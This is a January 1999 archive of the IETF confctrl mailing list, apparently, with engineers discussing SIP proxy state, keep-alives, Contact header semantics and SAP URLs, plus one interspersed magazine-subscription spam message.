Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

  let me announce a new website which concentrates on the Internet telephony.

  The goal of the web-site is to document the current state of art and to
  collect links to useful resources on the Internet telephony. Links to
  standardization bodies, products, research contributions, tutorials and
  other relevant web sites are provided. Selected drafts and standards are
  mirrored. 

  The address is http://www.fokus.gmd.de/research/cc/glone/projects/ipt/

  Comments and tips are solicited. 

Jiri

--
Jiri Kuthan		  Phone: ++49 / (0)30 / 3463 - 7 271
GMD FOKUS                 Fax  : ++49 / (0)30 / 3463 - 8 271
Kaiserin-Augusta-Allee 31 E-Mail : kuthan@fokus.gmd.de
D-10589 Berlin, Germany   WWW    : http://www.fokus.gmd.de/usr/kuthan

From confctrl-owner  Wed Jan 13 19:49:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA11111
	for confctrl-outgoing; Wed, 13 Jan 1999 19:49:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA11106
	for <confctrl@zephyr.isi.edu>; Wed, 13 Jan 1999 19:49:47 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA00110
	for <confctrl@ISI.EDU>; Wed, 13 Jan 1999 19:49:46 -0800 (PST)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id VAA08357
	for <confctrl@ISI.EDU>; Wed, 13 Jan 1999 21:50:51 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id VAA13999
	for <confctrl@ISI.EDU>; Wed, 13 Jan 1999 21:48:43 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id VAA05942; Wed, 13 Jan 1999 21:48:40 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id VAA27266; Wed, 13 Jan 1999 21:49:47 -0600 (CST)
Message-Id: <199901140349.VAA27266@b04a24.exu.ericsson.se>
Subject: Proxy Server Inconsistancies
To: confctrl@ISI.EDU
Date: Wed, 13 Jan 1999 21:49:47 -0600 (CST)
From: Adam.Roach@Ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I have run into a couple of protcol shortcomings in my attempts to 
implement the sip-11 draft.

1) Stateful proxies need to know about call termination

   For a stateful proxy which maintains per-call information, the
   fact that BYE and ACK requests related to one of its calls may bypass
   the proxy makes it very difficult to determine when a call record may 
   be safely discarded.  This also makes the stateful proxy particularly
   vulnerable to denial of service attacks by a malicious SIP client 
   repeatedly initiating calls with an INVITE which are never shutdown 
   with a BYE.

   The specified solution is to use a "Record-Route" header forcing
   all requests/responses including BYE and ACK to be sent to the SIP proxy.
   Note, however, that it is not mandatory that a client send a BYE request
   at all. Furthermore, in the case of abnormal shutdown of the SIP clien,
   (or severing of a physical link, or any number of other errors), a 
   BYE request will NOT be sent, so making BYE mandatory wouldn't even
   solve the problem.

   Timing out call leg records is not feasable, since that puts an 
   upper limit on the duration of a SIP initiated call.

   A possible solution would involve the addition of another request 
   method, "PING," which could determine if a call leg is active at the 
   ping'ed server.  The semantics of such a method (responses of 1xx, 
   200, and 481; sufficient headers to identify a leg; etc.) should
   be obvious. If anyone has any different ideas, please introduce 
   them. I can draft out some language to describe a PING method in 
   detail for possible inclusion in a future draft, if there is interest.


2) Behavior of "Contact" header's effect on BYE and ACK needs to be
   clarified.

   I beleive this is actually more of a nit than a shortcoming.

   The specification is not very clear in its description of
   INVITE 2xx responses under the Contact header; it needs to be
   specified that, if a Contact header is present, all future
   requests MUST be sent directly to that host.  I beleive this 
   is the intention of the current draft, but can't find 
   requirement-like language to that effect.  For example,
   updating 6.13, under "INVITE 2xx responses" to read "The value 
   of the Contact header MUST be copied into the Request-URI of 
   subsequent requests for this call" would fit the bill.

   There are a few scenarios where this comes into effect; most
   of them involve AIN-like services being implemented in a 
   proxy or relocation server. For example, a proxy that does
   not maintain a call record for the duration of the call (only
   until the final response from an INVITE) may choose to implement
   a service which attempts to reach a user at different locations
   based on a time table. When such a proxy receives a BYE
   request, it is unclear to which destination it should be routed,
   since it depends on the initiation time of the call -- information
   to which the proxy has no access.

   The insertion of a "Contact" field by a proxy in this and similar
   circumstances must force redirection of ACK and BYE requests to 
   prevent undesirable results.

-- 
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA

From confctrl-owner  Thu Jan 14 13:34:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA18920
	for confctrl-outgoing; Thu, 14 Jan 1999 13:34:35 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA18910
	for <confctrl@zephyr.isi.edu>; Thu, 14 Jan 1999 13:34:33 -0800 (PST)
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA06723
	for <confctrl@isi.edu>; Thu, 14 Jan 1999 13:34:31 -0800 (PST)
Received: from www45.inria.fr by www45.inria.fr (8.8.8/8.8.5) with ESMTP id WAA23902 for <confctrl@isi.edu>; Thu, 14 Jan 1999 22:34:29 +0100 (MET)
Message-Id: <199901142134.WAA23902@www45.inria.fr>
To: confctrl@ISI.EDU
Subject: SAP URLs (was: Re: MMUSIC Orlando minutes) 
In-reply-to: Your message of Tue, 12 Jan 1999 23:26:46 +0100.
             <Version.32.19990112232603.0117d100@127.0.0.1> 
Date: Thu, 14 Jan 1999 22:34:29 +0100
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


On 12/01/1999, Joerg Ott <jo@Informatik.Uni-Bremen.DE>  wrote:

>A general issue raised by Colin was how to allow joining
>e.g. multimedia streaming sessions from a web page.  The proposal is
>to reference a SAP announcement (e.g. held in a local cache).  The
>corresponding SAP URL could be composed of the announcement
>originator's source address and its locally assigned message id
>fields; e.g. "sap://128.16.64.45/1234". 

what does "locally assigned message id field" mean here ? if it
is assigned by the receiver, i don't see how you can put a URL
into a Web page, because the id will be different for different
receivers.

is there an ID discussing this ?

From confctrl-owner  Thu Jan 14 14:45:32 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA21731
	for confctrl-outgoing; Thu, 14 Jan 1999 14:45:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA21726
	for <confctrl@zephyr.isi.edu>; Thu, 14 Jan 1999 14:45:30 -0800 (PST)
Received: from srvntsxconn2.toc.ixl.com (srvntsxconn2.toc.ixl.com [216.99.0.137])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA14539
	for <confctrl@ISI.EDU>; Thu, 14 Jan 1999 14:45:29 -0800 (PST)
From: TDorcey@ixl.com
Received: from 216.99.1.3 by srvntsxconn2.toc.ixl.com (InterScan E-Mail VirusWall NT); Thu, 14 Jan 1999 17:38:48 -0500 (Eastern Standard Time)
Received: by exchange.atl.ixl.com with Internet Mail Service (5.5.2448.0)
	id <CZ9XZ2NG>; Thu, 14 Jan 1999 17:43:29 -0500
Received: from [216.99.5.83] (216.99.5.83 [216.99.5.83]) by memntsxchange.ixlmemphis.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id CZ98MQ4W; Thu, 14 Jan 1999 16:38:48 -0600
To: Adam.Roach@Ericsson.com, confctrl@ISI.EDU
X-Sender: tdorcey@exchange.lax.ixl.com
Message-Id: <v0310280bb2c4021105a2@[216.99.5.83]>
In-Reply-To: <199901140349.VAA27266@b04a24.exu.ericsson.se>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 14 Jan 1999 15:49:48 -0700
Subject: Re: Proxy Server Inconsistancies
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I think the absence of a SIP keep-alive also complicates modularity in the
user agent.  Some specified behaviors are dependent on whether the user is
"already in the conference."  Without a SIP keep-alive, this must be
determined by extraneous mechanisms.  I.e., "have sent or received Accept,
and have not sent or received BYE" does not account for lost connectivity.
So, it seems that a SIP engine would need to consult a higher level state
machine that maintains "in conference" state e.g., by monitoring success of
media exchange and using whatever time-out it deems appropriate.  I think
it would be cleaner if the SIP engine maintained its own independent "in
conference" state.  E.g., if a particular media channel became unavailable,
there would be an opportunity to negotiate a different one within the
context of the same conference.  You could remain "in a conference" without
exchanging any media.

Tim

Tim Dorcey
iXL-Los Angeles
tdorcey@ixl.com
(310) 235-3928


From confctrl-owner  Thu Jan 14 21:25:55 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA06559
	for confctrl-outgoing; Thu, 14 Jan 1999 21:25:55 -0800 (PST)
Received: from mailhost.axime.com (net01.axime.com [160.92.120.1])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA06554
	for <confctrl@zephyr.isi.edu>; Thu, 14 Jan 1999 21:25:53 -0800 (PST)
Received: from [169.132.119.90] (ppp-18.ts-2.fpk.idt.net [169.132.119.90]) by mailhost.axime.com (8.8.8/[Atos MultiMedia]) with ESMTP id GAA04750; Fri, 15 Jan 1999 06:20:53 +0100 (MET)
Message-Id: <v03010d17b2c4597d71d8@[internet.email]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Approved-by: Tempting Tear-Outs for general release
X-Priority: 1 (Highest)
Date: Thu, 14 Jan 1999 22:44:31 -0400
To: Tempting Tear-Outs <temptingtearouts@1stconnect.com>
From: Tempting Tear-Outs <temptingtearouts@1stconnect.com>
Subject: Hi
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

===>> FREE 1 yr USA Magazine Sub sent worldwide-200+ Choices!  Up to $81.00
value!

To be removed from our mailing list, please send email to:
temptingtearouts@1stconnect.com with the subject line of "remove."


FOR MORE INFO:   please "cut out" the below form on the "cut" lines shown,
and fax it, for the fastest reply to:                1-718-227-9125   (this
is a fax # in the USA)

or send via smail (first class mail or airmail) to:
                                         Tempting Tear-Outs
                                         Att. Free-catalogue-by-email Dept
                                         3835 Richmond Ave.  Suite #200
                                         Staten Island NY  10312-3828
                                         USA

SORRY, BUT.... our software is not set up to accept the below form via
return email;   WE CAN ONLY acknowledge forms sent in via fax or smail.

--> IMPORTANT complete directions, to ensure that you get a reply, and more
info follow, below the reply form and the catalogue options.


*------------cut here/begin-------------------------------------------*

Name (First Middle Last):
Internet email address:
Smail home address:
City-State-Zip:
Country:
Work Tel. #:
Work Fax #:
Home Tel. #:
Home Fax #:
Cellular (Mobile) Tel. #:
Beeper (Pager) Tel. #:

How did you hear about us (name of person/company who referred you or the
area of
the internet that you saw us mentioned in):  Referred by:  Tempting
Tear-Outs
011499-l-hi

Name of USA mags you currently get on the newsstand or in the store:

Name of USA mags you currently get on a subscription basis, through the mail:

Name of USA mags you would like price quotes on when we call you:

Catalogue version desired (list number of choice below):

*------------cut here/end--------------------------------------------*



CATALOGUE VERSION CHOICES:

1.  This version can be read by everyone, no matter what type of
     computer you use, or what type of software you use.  It is a simple
     format, with just our entire catalogue pasted into the body of a
     single email message, 316K in size.  If you use pine or elm on a unix
     system or an advanced software version such as Eudora Pro 3.0 or
     later, you will most likely receive it as a single email message.
     However, if your software limits incoming email messages to a
     certain size, say 32K or so, then your software will split it into
     multiple email message parts.   Whether you receive it as a single
     email message or multiple part email messages, you can easily
     paste it into one whole text document with your word processor, in
     about 10 minutes or so.
2.  For more advanced computer users:  attached plain ascii text file
     ~316K - you must know how to download an attached text file and
     then be able to locate it on your hard drive or system home
     directory;  it can then be opened with any pc or mac word processing
     software.  If in doubt, don't ask for this version.  This isn't for
     internet *newbies.* Better to order option 1 and spend a few minutes
     pasting them into one whole text document with your word processor,
     than to waste hours trying to figure how to deal with this option.
     This version is great for doing keyword searches and jumping around
     within the catalogue with your word processing software, if your
     normal email reading software doesn't allow this.


VERY IMPORTANT DIRECTIONS TO ENSURE THAT YOU GET A REPLY:

1.   you must call from an "unblocked number," ie. one that is not blocked
from caller id.  We are very sorry for this requirement, but our fax
software requires this before it allows an incoming fax call to connect.
If you have a blocked number, you must first unblock it.  In most cases
this means dialing *82 from a touch-tone phone (or 1182 from a rotary
phone) before you dial 1-718-227-9125.     NOTE:  If you are not sure if
your number is blocked, just try dialing our fax # normally.  If you don't
get a recording telling you your number is blocked, your number has been
transmitted and you may press the start button on your fax when you hear
the fax tone from our fax.
2.   no reply forms can be accepted by email....only via fax or smail.
3.   your form must be typewritten or printed out on your computer printer
before you fax it;  sorry, but *no* handwritten forms will be acknowledged.
If you can't find someone with a typewriter or a computer printer, we
apologize for not being able to reply to you.
4.   faxes with cover pages will be rejected.  You must send *only* the
reply form.
5.   forms not *completely* filled in will not be acknowledged.
6.   you will receive a reply within 1 business day directly from the
company making the offer via email.  Therefore you must have an email
address.  If you read this message, then you must have an email address, or
access to one, at least.   :-)
7.   your fax must not exceed 1 page in length.   Faxes of 2 or more pages
will be sensed, then auto-terminated and deleted.  Your fax goes directly
onto our 5.0 gigabyte hard drive and we must limit all incoming faxes to 1
page.
8.   all faxes must begin with:
*------------cut here/begin-------------------------------------------*
and must end with:
*------------cut here/end--------------------------------------------*
9. Any fax not conforming to this format will be sensed by our software,
then auto-terminated and deleted from the hard drive, before any human ever
gets to see it.
10. The type on your fax must be dark and legible.   If in doubt, please
print it out darker before faxing it in.  If we can't read it, we can't
reply to you or send you our FREE catalogue.     :-(
11.  If this all seems too complicated for faxing, just do it the old
fashioned way via smail!!!


WHO WE ARE:

Tempting Tear-Outs is an advertising company that brings potential new
customers to the companies they advertise for.

MORE ABOUT THE COMPANY MAKING THE FREE OFFER:

The company making the offer is a magazine subscription agency based in the
USA.  They have over 1,100 popular USA titles available to be shipped to
*any* country, including of course, to anywhere in the USA!    They offer a
FREE 1 yr. subscription to your choice of over 200 of the titles in their
catalogue to any new customer using them for the first time.       The
dollar value of the freebies, based on the subscription prices directly
from the publishers, ranges from $6.97 all the way up to $50.00!

For new customers in the USA, there is no charge for FPH (foreign postage &
handling), so the freebie is 100% free!   For new customers living
overseas, the only charge on the freebie would be for the FPH (foreign
postage & handling).

Their president has been in the magazine subscription business since 1973
and they are very customer-service oriented.   They will even help you with
address changes on your magazines, even if you move from one country to
another country.   They have thousands of happy customers in over 59
countries.

Their price guarantee is very simple:       they guarantee that their
subscription prices are the lowest available and they will BEAT any
legitimate, verifiable offer before you pay them or match it afterwards, by
refunding you the difference in price PLUS the cost of the postage stamp
you would use sending in the special offer to them, even 6 months after you
pay them, as long as it was current at the time of your offer.    Does that
sound fair?       Wouldn't it be great if everything you bought came with
that price guarantee?

Sometimes they are less than half of the next best deal out there,
sometimes just a little cheaper, but always you get the lowest rates
without having to shop around.     With 1,100+ titles on their list, they
would like to think that they have also the best selection around!

Within the USA, for their USA customers, they are cheaper than all their
competitors and even the publishers themselves.  This is their price
guarantee.         The 1 yr. freebie that you get with your first order is
completely free!

Overseas, (even after you factor in the cost of the FPH (foreign postage &
handling) and the conversion from USA Dollars to your currency), on the
average, they are generally around one-fourth to one-half of what the
newsstands overseas charge locally for USA magazines.  On some titles they
are as little as one-tenth of what the newsstands charge.  They are also
the cheapest subscription source for delivery overseas, including directly
from the publishers themselves!   Some publishers don't even offer
subscriptions overseas.........but overseas subscriptions are this
company's specialty!  They feel that magazines should not be a luxury
overseas.   In the USA, people buy magazines and then toss them after
reading them for just a few minutes or hours.  They are so cheap in the
USA!   Well, this company would like to make it the same way for their
overseas customers.  They are also cheaper than all their competitors in
the USA and overseas, including the publishers themselves!   It is also
*highly unlikely* you will find any of their USA competitors calling you
overseas, in order to offer that personal touch, just to sell you a couple
of magazines!  But that is what this company specializes in and loves
doing!     Around one-half their business comes from overseas, so they are
very patient with new customers who only speak limited English as a 2nd
language.    Subscription prices quoted for overseas consist of the
subscription price, plus the FPH.   You add the two together and that is
your total cost.   The exception is the 1 yr. freebie you get with your
first order.   On that title, you pay *only* the FPH for the 1 yr. term.

Their prices are so cheap because when you deal with them, you cut-out all
the middlemen.


HERE IS HOW YOU CAN GET MORE INFO AND GET STARTED WITH THEM:

Simply fax or smail back to us the reply form listed at the top of this
message.   We will then forward your form on to the subscription agency.
They will then email their "big and juicy" catalogue to you, in whichever
of the two formats you chose.   The catalogue is FREE and makes for hours
of fascinating reading, on its own. It includes the complete list of
freebies, a complete list of all the titles they sell, as well as detailed
descriptions on most of the titles, along with lists of titles by category
of interest and their terms of sale.

They will then give you a friendly, no-pressure, no obligation, 5-minute
call to go over how they work and to answer any questions that you might
have, as well as give you up-to-the minute price quotes on any titles you
might be considering.     They will call you in whatever country you live
in, taking the time difference into account.        As they like to
emphasize the personal touch they give to each new customer, all first-time
orders can only be done via phone, so they can answer all your questions
completely and personally.   Once you have placed your first order via
phone, you will be able to place future orders and make inquiries on your
account, get price quotes, etc., all via email, if that is most convenient
for you.

Within the USA, they accept payment via check over the phone, Mastercard,
Visa, American Express, Diner's Club and Carte Blanche.    Overseas, they
accept Mastercard, Visa, American Express, Diner's Club and Carte Blanche,
even if your credit card is a local one in local currency (that most
merchants in the USA would not normally be willing to accept).

That's our introduction of our client that we represent.   We hope that we
have piqued your interest and that you will take the next step to get their
free catalogue!   Thank you for your time and interest.

--
Tempting Tear-Outs.
For more info on advertising rates, please write us on your company
letterhead, w/business card, via smail to:   Tempting Tear-Outs, 3835
Richmond Ave. Suite #200, Staten Island NY  10312-3828, USA.



From confctrl-owner  Fri Jan 15 01:56:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA19833
	for confctrl-outgoing; Fri, 15 Jan 1999 01:56:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA19827
	for <confctrl@zephyr.isi.edu>; Fri, 15 Jan 1999 01:56:22 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA08495
	for <confctrl@ISI.EDU>; Fri, 15 Jan 1999 01:56:21 -0800 (PST)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.08754-0@bells.cs.ucl.ac.uk>; Fri, 15 Jan 1999 09:55:50 +0000
To: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
cc: confctrl@ISI.EDU
Subject: Re: SAP URLs (was: Re: MMUSIC Orlando minutes)
In-reply-to: Your message of "Thu, 14 Jan 1999 22:34:29 +0100." <199901142134.WAA23902@www45.inria.fr>
Date: Fri, 15 Jan 1999 09:55:49 +0100
Message-ID: <892.916394149@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Philipp Hoschka writes:
>On 12/01/1999, Joerg Ott <jo@Informatik.Uni-Bremen.DE>  wrote:
>>A general issue raised by Colin was how to allow joining
>>e.g. multimedia streaming sessions from a web page.  The proposal is
>>to reference a SAP announcement (e.g. held in a local cache).  The
>>corresponding SAP URL could be composed of the announcement
>>originator's source address and its locally assigned message id
>>fields; e.g. "sap://128.16.64.45/1234". 
>
>what does "locally assigned message id field" mean here ? if it
>is assigned by the receiver, i don't see how you can put a URL
>into a Web page, because the id will be different for different
>receivers.

It's a hash of the SAP payload, computed by the sender.

>is there an ID discussing this ?

draft-ietf-mmusic-sap-v2-00.txt

Colin

From confctrl-owner  Fri Jan 15 18:57:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA27533
	for confctrl-outgoing; Fri, 15 Jan 1999 18:57:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA27528
	for <confctrl@zephyr.isi.edu>; Fri, 15 Jan 1999 18:57:57 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA03411
	for <confctrl@ISI.EDU>; Fri, 15 Jan 1999 18:57:56 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA12182;
	Fri, 15 Jan 1999 21:57:54 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA03008;
	Fri, 15 Jan 1999 21:57:53 -0500 (EST)
Message-ID: <36A00031.8BDB833B@cs.columbia.edu>
Date: Fri, 15 Jan 1999 21:57:53 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistancies
References: <199901140349.VAA27266@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

"Adam B. Roach" wrote:
> 
> I have run into a couple of protcol shortcomings in my attempts to
> implement the sip-11 draft.
> 
> 1) Stateful proxies need to know about call termination
> 
>    For a stateful proxy which maintains per-call information, the
>    fact that BYE and ACK requests related to one of its calls may bypass
>    the proxy makes it very difficult to determine when a call record may
>    be safely discarded.  This also makes the stateful proxy particularly
>    vulnerable to denial of service attacks by a malicious SIP client
>    repeatedly initiating calls with an INVITE which are never shutdown
>    with a BYE.

I don't think there's any reasonable way to prevent DOS attacks except
possibly to keep track of call states owned by a single previous hop and
take protective measures if this number exceeds some threshold. 

> 
>    Timing out call leg records is not feasable, since that puts an
>    upper limit on the duration of a SIP initiated call.
> 
>    A possible solution would involve the addition of another request
>    method, "PING," which could determine if a call leg is active at the
>    ping'ed server.  The semantics of such a method (responses of 1xx,
>    200, and 481; sufficient headers to identify a leg; etc.) should
>    be obvious. If anyone has any different ideas, please introduce
>    them. I can draft out some language to describe a PING method in
>    detail for possible inclusion in a future draft, if there is interest.


There may well be circumstances where a keep-alive is useful. Given the
obvious costs in terms of packets and processing, I want to be sure that
there are (a) no other alternatives, (b) we can actually gain something.
If we want to, a client can already send OPTIONS requests as
keep-alives, and the called client can do a re-INVITE. What is missing
is for a proxy to say "don't just route a request my way whenever you
feel like sending a request, generate one every N seconds".  The
complexity arises if we allow several proxies to specify different
values for N, as an emotionally unsecure proxy in constant need of being
reminded of the affection of the caller can burden all the other proxies
along the way with these keep-alive messages. I'd be far less worried if
this is primarily to time out state rather than (say) terminate billing
for a call. In that case, a keep-alive on the order of a typical call
duration (four minutes) would be sufficient and have more modest impact
on packet processing load.

For billing of PSTN-terminated calls, media-based timeout are, in my
opinion, a far better solution, as they can prevent the
phone-off-the-hook-after-a-call-to-Australia problem.

I don't think that keep-alives can protect against DOS attacks.

> 
> 2) Behavior of "Contact" header's effect on BYE and ACK needs to be
>    clarified.
> 
>    I beleive this is actually more of a nit than a shortcoming.
> 
>    The specification is not very clear in its description of
>    INVITE 2xx responses under the Contact header; it needs to be
>    specified that, if a Contact header is present, all future
>    requests MUST be sent directly to that host.  I beleive this
>    is the intention of the current draft, but can't find
>    requirement-like language to that effect.  For example,
>    updating 6.13, under "INVITE 2xx responses" to read "The value
>    of the Contact header MUST be copied into the Request-URI of
>    subsequent requests for this call" would fit the bill.

It does say (spec version -11):

   INVITE 2xx responses: A user agent server sending a definitive,
        positive response (2xx) MAY insert a Contact response header
        field indicating the SIP address under which it is reachable
        most directly for future SIP requests, such as ACK, within the
        same Call-ID. The Contact header field contains the address of
        the server itself or that of a proxy, e.g., if the host is
        behind a firewall. The value of this Contact header is copied
        into the Request-URI of subsequent requests for this call.

Except for the MUST, this seems pretty close.

> 
>    There are a few scenarios where this comes into effect; most
>    of them involve AIN-like services being implemented in a
>    proxy or relocation server. For example, a proxy that does
>    not maintain a call record for the duration of the call (only
>    until the final response from an INVITE) may choose to implement
>    a service which attempts to reach a user at different locations
>    based on a time table. When such a proxy receives a BYE
>    request, it is unclear to which destination it should be routed,
>    since it depends on the initiation time of the call -- information
>    to which the proxy has no access.

Good point/example.

> 
>    The insertion of a "Contact" field by a proxy in this and similar
>    circumstances must force redirection of ACK and BYE requests to
>    prevent undesirable results.
> 
> --
> Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
> adam.roach@ericsson.com    |                  <*> | USA

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Sat Jan 16 14:47:51 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA02409
	for confctrl-outgoing; Sat, 16 Jan 1999 14:47:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA02404
	for <confctrl@zephyr.isi.edu>; Sat, 16 Jan 1999 14:47:49 -0800 (PST)
Received: from srvntsxconn2.toc.ixl.com (srvntsxconn2.toc.ixl.com [216.99.0.137])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA12523
	for <confctrl@ISI.EDU>; Sat, 16 Jan 1999 14:47:48 -0800 (PST)
From: TDorcey@ixl.com
Received: from 216.99.1.3 by srvntsxconn2.toc.ixl.com (InterScan E-Mail VirusWall NT); Sat, 16 Jan 1999 17:40:11 -0500 (Eastern Standard Time)
Received: by exchange.atl.ixl.com with Internet Mail Service (5.5.2448.0)
	id <CZ9XZMB8>; Sat, 16 Jan 1999 17:44:55 -0500
Received: from [216.99.5.83] (216.99.5.83 [216.99.5.83]) by memntsxchange.ixlmemphis.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id CZ98MTDN; Sat, 16 Jan 1999 16:40:19 -0600
To: hgs@cs.columbia.edu, Adam.Roach@Ericsson.com
Cc: confctrl@ISI.EDU
X-Sender: tdorcey@exchange.lax.ixl.com
Message-Id: <v03102807b2c6a576b96c@[216.99.5.83]>
In-Reply-To: <36A00031.8BDB833B@cs.columbia.edu>
References: <199901140349.VAA27266@b04a24.exu.ericsson.se>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 16 Jan 1999 15:51:20 -0700
Subject: Re: Proxy Server Inconsistancies
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 7:57 PM -0700 1/15/99, Henning Schulzrinne wrote:
>along the way with these keep-alive messages. I'd be far less worried if
>this is primarily to time out state rather than (say) terminate billing
>for a call. In that case, a keep-alive on the order of a typical call
>duration (four minutes) would be sufficient and have more modest impact
>on packet processing load.
>
>For billing of PSTN-terminated calls, media-based timeout are, in my
>opinion, a far better solution, as they can prevent the
>phone-off-the-hook-after-a-call-to-Australia problem.

I think SIP state time-out is a significant issue and at least deserves
some discussion in the spec.  E.g., I don't want to spontaneously accept a
call from someone I was connected to last week because a BYE never arrived,
and I don't want "new call" alerts to appear in the middle of conversations
due to transient network problems.  I realize that these issues can be
dealt with at the application level, but it seems awkward that SIP creates
and acts upon "in conference" state, yet requires unspecified mechanisms to
remove it.

I understand the point that a SIP keep alive would typically be redundant
with media exchange, but I don't believe this is universally true.  E.g.,
suppose I want to monitor a sleeping infant, and I use a media encoding
that doesn't transmit anything during periods of inactivity.  I can imagine
other "shared presence" applications, where little media is exchanged, the
point is in the potential.  I don't believe a media transport agent has any
intrinsic "keep alive" responsibilities; it simply must insure that WHEN it
is transmitting data, there is someone to receive it.  What needs to be
"kept alive" (or, actually, allowed to time-out) is the "in conference"
state.  I don't think we can assume that the desired liveliness of the "in
conference" state is proportional to the liveliness of the media exchange.

How about something like a DURATION or TTL parameter on the INVITE?  So,
the meaning would be something like "I invite you to be in conference with
me for the next 4 minutes."  Re-INVITEs would need to be sent periodically
to keep the conference going.  I have not got into the spec enough to
understand all of the implications of this, but it seems straightforward in
principle.

Tim

Tim Dorcey
iXL-Los Angeles
tdorcey@ixl.com
(310) 235-3928


From confctrl-owner  Sun Jan 17 19:00:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA17109
	for confctrl-outgoing; Sun, 17 Jan 1999 19:00:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA17104
